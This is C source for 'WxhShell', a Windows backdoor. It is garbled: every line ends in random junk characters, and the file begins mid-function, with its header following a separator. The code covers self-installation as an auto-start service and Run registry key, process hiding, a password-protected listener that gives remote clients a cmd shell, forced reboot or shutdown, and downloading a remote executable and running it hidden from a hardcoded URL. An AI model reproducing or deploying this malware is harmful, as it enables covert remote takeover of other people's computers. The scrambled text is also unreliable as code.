    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;x\oY6:  
    if(Boot(SHUTDOWN)) gep#o$P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R6(:l; W  
    else { hm73Zy  
    closesocket(wsh); RV  V`  
    ExitThread(0); i:aW .QZ.  
    } v5'`iO0o  
    break; #PD6LO  
    } <9ucpV  
  // 获取shell o5a=>|?p>  
  case 's': { 7xeqs q  
    CmdShell(wsh); exhU!p8  
    closesocket(wsh); @T\n@M]  
    ExitThread(0); _Z[0:4  
    break; V2}\]x'1  
  } PhC3F4  
  // 退出 :CE4< {V  
  case 'x': { KL=<s#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U&WEe`XM  
    CloseIt(wsh); -%"PqA/1zj  
    break; V_gKl;Kfe8  
    } cw!,.o%cD  
  // 离开 =J]WVA,GqA  
  case 'q': { D BHy%i  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3U>-~-DS  
    closesocket(wsh); ??p%_{QY~b  
    WSACleanup(); U)bv,{-q  
    exit(1); ,J|,wNDU!K  
    break; `Fn"QL-  
        } b`-|7<s  
  } @5nFa~*K%  
  } @/<UhnI  
zw+aZDcV(  
  // 提示信息 >E+g.5 ,:W  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W#<1504ip  
} 7m-%  
  } _aPAn|.  
pc*)^S  
  return; /j GBQ-X  
} @M"gEeI9  
)k,n}  
// shell模块句柄 p@G7}'|eyA  
int CmdShell(SOCKET sock) nU_O|l9  
{ 5&n{QE?Um  
STARTUPINFO si; OtqFI!ns  
ZeroMemory(&si,sizeof(si)); {3`385  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4=tR_s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'vBZh1`p  
PROCESS_INFORMATION ProcessInfo; Vbl-Ff  
char cmdline[]="cmd"; Z#d#n!Lz  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v~Q'm1!O4\  
  return 0; 4MS<t FH)  
} C")genMH  
)cJ>&g4]  
// 自身启动模式 vt#;j;liG  
int StartFromService(void) w95M B*N  
{ o]oiJvOr  
typedef struct &+2l#3}  
{ ,_3hbT8Q  
  DWORD ExitStatus; _Ub `\ytx  
  DWORD PebBaseAddress; !e|\1v'0  
  DWORD AffinityMask; !B3TLe h  
  DWORD BasePriority; ls@]%pz.1d  
  ULONG UniqueProcessId; R p&J!hlA  
  ULONG InheritedFromUniqueProcessId; U7s$';y"%  
}   PROCESS_BASIC_INFORMATION; O{X~,Em=q  
W r/-{Wt  
PROCNTQSIP NtQueryInformationProcess; lv 8EfN  
-)}s{[]d6m  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; sE"s!s/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :k/Xt$`  
2 kDsIEA  
  HANDLE             hProcess; `} PYltW  
  PROCESS_BASIC_INFORMATION pbi; 7s(tAbPdB  
)]1hN;Nz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6CBk=)qH  
  if(NULL == hInst ) return 0; dDPQDIx  
_B^zm-}8|B  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~18a&T:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  `t U  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z4VFfGCTL  
T0w_d_aS  
  if (!NtQueryInformationProcess) return 0; ~sk p}g]  
hN-@_XSw<I  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =j,WQ66r3  
  if(!hProcess) return 0; F[jE#M=k  
,L/x\_28  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j<<d A[X  
FO2e7p^Q  
  CloseHandle(hProcess); 7{|QkTgC  
-* ,CMw  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [C "\]LiX  
if(hProcess==NULL) return 0; rpT.n-H>%A  
L80(9Y^xn  
HMODULE hMod; p>B2bv+L  
char procName[255]; 8 t5kou]h  
unsigned long cbNeeded; 11=$] K>  
EA& 3rI>U)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xl\Kj2^  
$m4-^=  
  CloseHandle(hProcess); x)::^'74  
g@`i7qN  
if(strstr(procName,"services")) return 1; // 以服务启动 c5YPV"X  
Q7s@,c!m_  
  return 0; // 注册表启动 W7>2&$  
} +<7Oj s>o  
>d/H4;8  
// 主模块 Gnkar[oa&  
int StartWxhshell(LPSTR lpCmdLine) .Nn11F< d  
{ 3z+l-QO8  
  SOCKET wsl; 6CY&pbR  
BOOL val=TRUE; %=aKW[uq]  
  int port=0; XIW0Z C   
  struct sockaddr_in door; {D +mr[ %  
oh9 ;_~  
  if(wscfg.ws_autoins) Install(); jm^.E\_  
|YJ83nSO~  
port=atoi(lpCmdLine); JVE\{ e)  
& LE5' .s  
if(port<=0) port=wscfg.ws_port; &R94xh%@(  
&|hK79D  
  WSADATA data; I%[e6qX@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2c9?,Le/;  
]b4WfIu  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *M.xVUPr  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4%(Ji  
  door.sin_family = AF_INET; Cx7-I0!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !U^{`V jp[  
  door.sin_port = htons(port); +hxG!o?O  
A6&*VD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d#ir=+o{h  
closesocket(wsl); !J`lA  
return 1; ZaFt4#  
} 2B,O/3y  
Ed9Uw 7  
  if(listen(wsl,2) == INVALID_SOCKET) { D|;O9iks#  
closesocket(wsl); 6%v9o?:~l  
return 1; -=ZL(r 1  
} .G0 N+)  
  Wxhshell(wsl); Luq4q95]  
  WSACleanup(); a{5SOe;;  
y~SVD@  
return 0; J +6zV m  
@A/k"Ax{r  
} _P;D.>?  
[,zq  
// 以NT服务方式启动 4U}qrN~=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "/W[gP[y%  
{ 3N7H7(IR  
DWORD   status = 0; uDF;_bli)H  
  DWORD   specificError = 0xfffffff; Fhoyji4  
OZ[YB  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Yd^@Ei9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; G=zWhqieh  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !gsvF\XDM  
  serviceStatus.dwWin32ExitCode     = 0; H];B?G';C  
  serviceStatus.dwServiceSpecificExitCode = 0; G-aR%]7$g  
  serviceStatus.dwCheckPoint       = 0; M+/xw8}a  
  serviceStatus.dwWaitHint       = 0; 5(1:^:LGK  
-3I3 X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $NXP)Lic)  
  if (hServiceStatusHandle==0) return; wKV4-uyr  
ud1M-lY\U  
status = GetLastError(); .Eao|;  
  if (status!=NO_ERROR) \CbJU  
{ w:~*wv  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; C-'hXh;hQ  
    serviceStatus.dwCheckPoint       = 0; w0pMH p'Y  
    serviceStatus.dwWaitHint       = 0; S{@}ECla  
    serviceStatus.dwWin32ExitCode     = status; zkQ[<  
    serviceStatus.dwServiceSpecificExitCode = specificError; +X}i%F'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "t@p9>  
    return; 9Em#Ela  
  } K1B9t{T  
MmuT~d/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kB\{1;  
  serviceStatus.dwCheckPoint       = 0; E~'mxx~i  
  serviceStatus.dwWaitHint       = 0; &p0e)o~Ux  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); / HTY>b  
} :+rGBkw1m  
.KsR48g8  
// 处理NT服务事件,比如:启动、停止 B /? L$m  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?pDr"XH~  
{ PnlI {d  
switch(fdwControl) Gr"CHz/  
{ ?1e{\XW  
case SERVICE_CONTROL_STOP: QTV*m>D  
  serviceStatus.dwWin32ExitCode = 0; .n-#A  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; y8Va>ul"U  
  serviceStatus.dwCheckPoint   = 0; F L0uY0K  
  serviceStatus.dwWaitHint     = 0; yV30x9i!2  
  { I.2J-pu}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |{jT+  
  } Jd2.j?P=  
  return; ']]d-~:  
case SERVICE_CONTROL_PAUSE: r~w.J+W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 39pG-otJ  
  break; L * n K> +  
case SERVICE_CONTROL_CONTINUE: =bVPHrKNQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  >@ t  
  break; G dgL}"*F  
case SERVICE_CONTROL_INTERROGATE: F MfpjuHk  
  break; t^t% >9o  
}; Wboh2:TH:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k4TWfl^}9  
} D:)Wr, 26  
cs9^&N:w[  
// 标准应用程序主函数 v9$!v^U"D  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rr<E#w  
{ >ZA=9v  
bp1AN9~  
// 获取操作系统版本 .8hI ad  
OsIsNt=GetOsVer(); +/:tap|V  
GetModuleFileName(NULL,ExeFile,MAX_PATH); C*9X;+S0J  
1I +9?fa  
  // 从命令行安装 2|1fb-AR  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1v o)]ff  
azcPeAe  
  // 下载执行文件 <N<Q9}`V  
if(wscfg.ws_downexe) { +Y\:Q<eMFg  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I7f ^2  
  WinExec(wscfg.ws_filenam,SW_HIDE); f)I5=Ijy(  
} tF2"IP.  
J 3!~e+wn  
if(!OsIsNt) { H'+7z-% G  
// 如果时win9x,隐藏进程并且设置为注册表启动 {4"V)9o-1>  
HideProc(); 9g92eKS  
StartWxhshell(lpCmdLine); S{Y zHK  
} u8e_Lqx?  
else jm_-f  
  if(StartFromService()) )P$(]{  
  // 以服务方式启动 *bkb-n Kw  
  StartServiceCtrlDispatcher(DispatchTable); N<EVs.7  
else +)]YvZ6%[,  
  // 普通方式启动 $YYWpeW '  
  StartWxhshell(lpCmdLine); <hT\xBb:  
c :R?da  
return 0; J~YT~D 2L  
} WJ7|0qb  
| HazM9=  
V\V /2u5-  
[ oWkd_dK  
=========================================== Bqx5N"  
GQ_KYS{  
}d$-:l ,w  
L`NIYH<^  
JAbUK[:K  
BD g]M/{  
" <@<rU:o=V  
J[ds.~ $  
#include <stdio.h> gN&i &%*!  
#include <string.h> pO]gf$  
#include <windows.h> 5dBftTv?  
#include <winsock2.h> %36x'Dn ?  
#include <winsvc.h> }xZi Ct  
#include <urlmon.h> &&ioGy}1  
:t?B)  
#pragma comment (lib, "Ws2_32.lib") Ebg8qDE  
#pragma comment (lib, "urlmon.lib") V35Vi6*p  
|dRVSVN  
#define MAX_USER   100 // 最大客户端连接数 3"fDFR  
#define BUF_SOCK   200 // sock buffer  Et>#&Nw8  
#define KEY_BUFF   255 // 输入 buffer qT O6I5u  
Z\0Rw>#  
#define REBOOT     0   // 重启 3;nOm =I  
#define SHUTDOWN   1   // 关机 Bous d  
i1iP'`r  
#define DEF_PORT   5000 // 监听端口 9hp&HL)BOa  
yTm \O UD  
#define REG_LEN     16   // 注册表键长度  U 'jt'(  
#define SVC_LEN     80   // NT服务名长度 gGqrFh\  
p|UL<M9{a]  
// 从dll定义API 6r7>nU&d  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8tvmqe_G  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); gY}In+S  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Hxu5Dx5![  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); > A#5` $i  
&$"#hGg  
// wxhshell配置信息 Lp`.fn8Ln  
struct WSCFG { k.@![w\ea  
  int ws_port;         // 监听端口 Z9{~t  
  char ws_passstr[REG_LEN]; // 口令 Hq@+m!  
  int ws_autoins;       // 安装标记, 1=yes 0=no !oLn=  
  char ws_regname[REG_LEN]; // 注册表键名 sJHVnMA  
  char ws_svcname[REG_LEN]; // 服务名 4WT[(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 nF3}wCe)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &|>@K#V8-;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &(F c .3m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no g` rr3jP  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =]5tYIU  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  T:}Q3  
~o}:!y  
}; 'g v0;L  
\ovs[&  
// default Wxhshell configuration 1$E(8"l  
struct WSCFG wscfg={DEF_PORT, vEv kC  
    "xuhuanlingzhe", m*0YMS>Y |  
    1, 7vRtTP  
    "Wxhshell", =?sG~  
    "Wxhshell", /\J0)V  
            "WxhShell Service", @!ChPl  
    "Wrsky Windows CmdShell Service", c-Gp|.C  
    "Please Input Your Password: ", gF6> /  
  1, .qBc;u  
  "http://www.wrsky.com/wxhshell.exe", tr<~:&H4T  
  "Wxhshell.exe" wmVmGa R  
    }; Pk?$\  
U S^% $Z:  
// 消息定义模块 *yq65yZi5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {q>%Sr]9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1\hLwG6Jj  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0Tj,TF  
char *msg_ws_ext="\n\rExit."; o |$D|E  
char *msg_ws_end="\n\rQuit."; Nc[@QC{  
char *msg_ws_boot="\n\rReboot...";  A l[ZU  
char *msg_ws_poff="\n\rShutdown..."; wO??"${OH  
char *msg_ws_down="\n\rSave to "; K:Z$V  
Ds1h18  
char *msg_ws_err="\n\rErr!"; *P mZqe  
char *msg_ws_ok="\n\rOK!"; fRp]  
\"P{8<h.3  
char ExeFile[MAX_PATH]; [6GYYu\  
int nUser = 0; .Rr^AGA4  
HANDLE handles[MAX_USER]; %9-^,og  
int OsIsNt; D(b01EQ;d  
qHt/,w='Q  
SERVICE_STATUS       serviceStatus; K3&xe(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3(YvqPp&  
Hv6h7-  
// 函数声明 ) f?I{  
int Install(void); !gh8 Qs  
int Uninstall(void); r$jWjb  
int DownloadFile(char *sURL, SOCKET wsh); \w9}O2lL  
int Boot(int flag); WfPb7T  
void HideProc(void); =m.Nm-g  
int GetOsVer(void); zJQh~)  
int Wxhshell(SOCKET wsl); ;zCUx*{  
void TalkWithClient(void *cs); VcjbRpTy&  
int CmdShell(SOCKET sock); *-VRkS-G  
int StartFromService(void); eORXyh\K  
int StartWxhshell(LPSTR lpCmdLine); k1&9 bgI  
`46~j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s$Vl">9#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ni~IY# '  
dsTX?E<R  
// 数据结构和表定义 /wD f,Hduz  
SERVICE_TABLE_ENTRY DispatchTable[] = EQ%ooAb8  
{ --h\tj\U  
{wscfg.ws_svcname, NTServiceMain}, cILS  
{NULL, NULL} LV}R 9f  
}; fA=Z):w  
9QQ XB-  
// 自我安装 Xv1vq -cM  
int Install(void) m*^)#  
{ x $uhkP  
  char svExeFile[MAX_PATH]; 7# AIX],  
  HKEY key; =D<0&M9C  
  strcpy(svExeFile,ExeFile); ]545:)Q1  
(\\;A?  
// 如果是win9x系统,修改注册表设为自启动 D4%J!L<P  
if(!OsIsNt) { Y ^^4n$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4m*)("H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XkI'm\W  
  RegCloseKey(key); Q)75?mn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yan^\)HZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \Qml~?$@lH  
  RegCloseKey(key); (p]FI#y  
  return 0; ?Y"%BS+pt  
    } 161P%sGx2  
  } , Ckcc  
} la[ pA  
else { TY8gB!^  
 _a09;C  
// 如果是NT以上系统,安装为系统服务 AVT % AS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /HIyQW\Ki-  
if (schSCManager!=0) %.Y5%T yP  
{ 9f~qD&~  
  SC_HANDLE schService = CreateService fPe S;  
  ( *p/,Z2f  
  schSCManager, ^h?fr`  
  wscfg.ws_svcname, @O"7@%nu  
  wscfg.ws_svcdisp, ^\}MG!l  
  SERVICE_ALL_ACCESS, |E+.y&0;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ZRMim6a4X  
  SERVICE_AUTO_START, vQrxx  
  SERVICE_ERROR_NORMAL, i6Z7O )V  
  svExeFile, V?XQjH1X  
  NULL, St5;X&Q  
  NULL, wFMH\a  
  NULL, @CNJpQ ujn  
  NULL, pg{VKrT`  
  NULL F ~A $7  
  ); Jg#0g eU  
  if (schService!=0) TV{GHB!p"  
  { BTAbDyH5  
  CloseServiceHandle(schService); h)Y] L#R  
  CloseServiceHandle(schSCManager); ~  QRjl  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); t/|0"\ p  
  strcat(svExeFile,wscfg.ws_svcname); gIo\^ktW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { aM5]cc%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?/|Xie  
  RegCloseKey(key); E/cV59  
  return 0; ^E}?YgNp  
    } ky2]%cw  
  } ?:r?K|Ku  
  CloseServiceHandle(schSCManager); =lAjQt  
} IfmQP s+f  
} L{/% "2>  
O Z ./suR)  
return 1; jNj;#C)  
} UJO3Yn  
BX/3{5Y>{  
// 自我卸载 ,Zmjw@ w  
int Uninstall(void) )N 3^r>(e<  
{ TcZ.5Oe6h#  
  HKEY key; wra0bS)4  
k4Q>J,k  
if(!OsIsNt) { HV%/baX]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xPZ>vCg  
  RegDeleteValue(key,wscfg.ws_regname); 1 Uup.(  
  RegCloseKey(key); *}2L4]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X]y:uD{  
  RegDeleteValue(key,wscfg.ws_regname); b8d0]YS  
  RegCloseKey(key); q,Gymh;  
  return 0; <7P[)X_  
  } b8K]>yDAh  
} ^J]&($-  
} `W86]ut[  
else { k`5I"-e  
1(p:dqGS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Vh~hfj"  
if (schSCManager!=0) Snk+ZQ-  
{ Vn5T Jw  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7y$\|WG?!r  
  if (schService!=0) ((ebSu2-?$  
  { <vcU5 .K.  
  if(DeleteService(schService)!=0) { "Z&.m..gc  
  CloseServiceHandle(schService); 44KoOY_  
  CloseServiceHandle(schSCManager); W>#yXg9  
  return 0; gqS9{K(f  
  } 0+SDFh  
  CloseServiceHandle(schService); tWn dAM(U7  
  } a&>NuMDI  
  CloseServiceHandle(schSCManager); QIiy\E%  
} SnE^\I^O  
} ?^voA.Bv<  
d,GOP_N8I  
return 1; "3^tVX%$\[  
} 9FDu{4:  
6f +aGz  
// 从指定url下载文件 f<8Hvumw  
int DownloadFile(char *sURL, SOCKET wsh) lpG%rN!  
{ ^/BGOBK  
  HRESULT hr; k6CXuU  
char seps[]= "/"; ;VE y{%nF  
char *token; m* m),mZ"  
char *file; -,bnj^L  
char myURL[MAX_PATH]; 811>dVq3/  
char myFILE[MAX_PATH]; #gbB// <  
2.3_FXSt  
strcpy(myURL,sURL); [6a-d> e{  
  token=strtok(myURL,seps); l!*_[r   
  while(token!=NULL) +gd5&  
  { Ef]Hpjvp  
    file=token; 3en 9TB  
  token=strtok(NULL,seps); mG S4W;  
  } z>W:+W"o  
^}+\52w  
GetCurrentDirectory(MAX_PATH,myFILE); >._d2.Q'  
strcat(myFILE, "\\"); Uxjc&o  
strcat(myFILE, file); -leX|U}k  
  send(wsh,myFILE,strlen(myFILE),0); f3O6&1D  
send(wsh,"...",3,0); oz&`3`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6:5K?Yo  
  if(hr==S_OK) \D|IN'!D  
return 0; C6)Y ZC  
else ~&RTLr#\*M  
return 1; -'Z Gc8)  
#I=EYl=Vvi  
} CNN9a7  
AYnPxiW|  
// 系统电源模块 wqo:gW_  
int Boot(int flag) 2|;|C8C  
{ ZPZh6^cc  
  HANDLE hToken; [rx9gOOa&  
  TOKEN_PRIVILEGES tkp; f=^xU P  
NifQsy)*%  
  if(OsIsNt) { .?{no}u.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f30J8n"k  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~A>fB2.pM  
    tkp.PrivilegeCount = 1; yz68g?"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; j4IVIj@$ `  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =e6p v#  
if(flag==REBOOT) { z>PVv)X  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _^E NRk@  
  return 0; @bg9 }Z%\h  
} M|blg!j;  
else { aEN` `  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) t9`{^<LH  
  return 0; v +4v  
} Ze V@ X  
  }  rDFrreQP  
  else { YNBM\Q  
if(flag==REBOOT) { +RJ{)Nec  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'OnfU{Ai  
  return 0; )M0`dy{1  
} Xmr}$<<=  
else { ]ogifnwv  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6!_Wo\ _%  
  return 0; 5&8E{YXr  
} {N~mDUoJ|  
} TKnWhB/J  
LtRRX@qJw  
return 1; m%L!eR  
} /MtmO$ .  
[~N;d9H+*1  
// win9x进程隐藏模块 =RWTjTZ   
void HideProc(void) W^iK9|[qp  
{ &%fcGNzJQ  
llZU: bs  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `ArUoYb B  
  if ( hKernel != NULL ) ;VLDXvGd  
  { v\@qMaPY  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5[;[Te9=S  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e_b,{l#  
    FreeLibrary(hKernel); Ii+3yE@c  
  } w Q[|D2;  
"5N4 of 8  
return; y11^q*}  
} I<2`wL=  
?J2{6,}O*.  
// 获取操作系统版本 Xy(QK2|  
int GetOsVer(void) c=u+X` Q  
{  J#` 7!  
  OSVERSIONINFO winfo; 6SCjlaGW5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); c';~bYZ  
  GetVersionEx(&winfo); Fu.aV876\f  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &6\&McmkX  
  return 1; yu6~:$%H  
  else 9(]_so24,  
  return 0; cB,^?djJ3  
} *fm?"0M5  
Fbo"Csn_  
// 客户端句柄模块 XKGiw 2 C  
int Wxhshell(SOCKET wsl) {v*4mT  
{ F/2cQ .u2  
  SOCKET wsh; . Z&5TK4I  
  struct sockaddr_in client; o'lG9ePM|  
  DWORD myID; `p\%ha!,w  
/D"T\KNWr  
  while(nUser<MAX_USER) im*sSz 0 (  
{ 7=fM}sk  
  int nSize=sizeof(client); "\*)KH`C  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a>GA=r  
  if(wsh==INVALID_SOCKET) return 1; CRo'r/G  
8 o}5QOW  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k1D7=&i  
if(handles[nUser]==0) bZ_&AfcB  
  closesocket(wsh); vGyQ306  
else ])?dqgwa  
  nUser++; B <s+I#  
  } H s)]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9,fV  
Mzg'$]N  
  return 0; MNs<yQ9I'  
} ai;!Q%B#Q  
l]|&j`'O  
// 关闭 socket bpsyO>lx/  
void CloseIt(SOCKET wsh) G5qsnTxUJ  
{ Lx- %y'P  
closesocket(wsh); 8nI~iN?"   
nUser--; [g}^{ $`  
ExitThread(0); N,w6  
} q<\r}1Dm  
+_:p8, 5o  
// 客户端请求句柄 |!K&h(J|  
void TalkWithClient(void *cs) |6NvByc,  
{ xd3mAf  
cPIyD?c  
  SOCKET wsh=(SOCKET)cs; Q+f |.0r  
  char pwd[SVC_LEN]; !}c D e12  
  char cmd[KEY_BUFF]; @16y%]Q-E#  
char chr[1]; IRM jL.q  
int i,j; %enJ[a%Qg  
` .`:~_OE  
  while (nUser < MAX_USER) { ]}SV%*{ %  
R{}_Qb  
if(wscfg.ws_passstr) { !& c%!*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); > X  AB#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (NUXK  
  //ZeroMemory(pwd,KEY_BUFF); f]1 $`  
      i=0; o,k#ft<  
  while(i<SVC_LEN) { +PYR  
T\wOGaCW  
  // 设置超时 >]}VD "\  
  fd_set FdRead; RCqL~7C+ k  
  struct timeval TimeOut; 3Dc^lfn  
  FD_ZERO(&FdRead);  ~@@t-QY  
  FD_SET(wsh,&FdRead); F@/syX;bb5  
  TimeOut.tv_sec=8; TJ>YJ D  
  TimeOut.tv_usec=0; kk126?V]_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w32F?78]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); AkjoD7.*  
h1>.w pr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZHen:  
  pwd=chr[0]; a:|]F|  
  if(chr[0]==0xd || chr[0]==0xa) { R(Vd[EGY  
  pwd=0; :x q^T  
  break; 9^S rOW6~  
  } W(ZEqH2  
  i++; jM*wm~4>@  
    } IAd ^$9  
.*k!Zl*  
  // 如果是非法用户,关闭 socket ;2 o{ 6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); JF &$'  
} k'$7RjCu  
\^F6)COy  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0jp y c  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;F_&h#D]3  
?{Xp'D\z  
while(1) { s5 Fn("h]n  
Kc9)Lzu+  
  ZeroMemory(cmd,KEY_BUFF); o\j<EQb.  
*=z.H  *  
      // 自动支持客户端 telnet标准   |q o3 E  
  j=0; hQSJt[8My  
  while(j<KEY_BUFF) { -eSI"To L<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6O5E4=  
  cmd[j]=chr[0]; p*P0<01Z  
  if(chr[0]==0xa || chr[0]==0xd) { 7; }TNK\+v  
  cmd[j]=0; ku^2K   
  break; *|+ ~V/#  
  } kGq<Zmy|  
  j++; VAxk?P0j6  
    } _}Gs9sHr0K  
RkdAzv!Y7  
  // 下载文件 :Z ]E:f0P  
  if(strstr(cmd,"http://")) { 7Ph+Vs+h  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `Geq,  
  if(DownloadFile(cmd,wsh)) If9!S} wa  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {iq{<;)U?U  
  else HSl$ U0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]*S_fme  
  } .>zkS*oX4z  
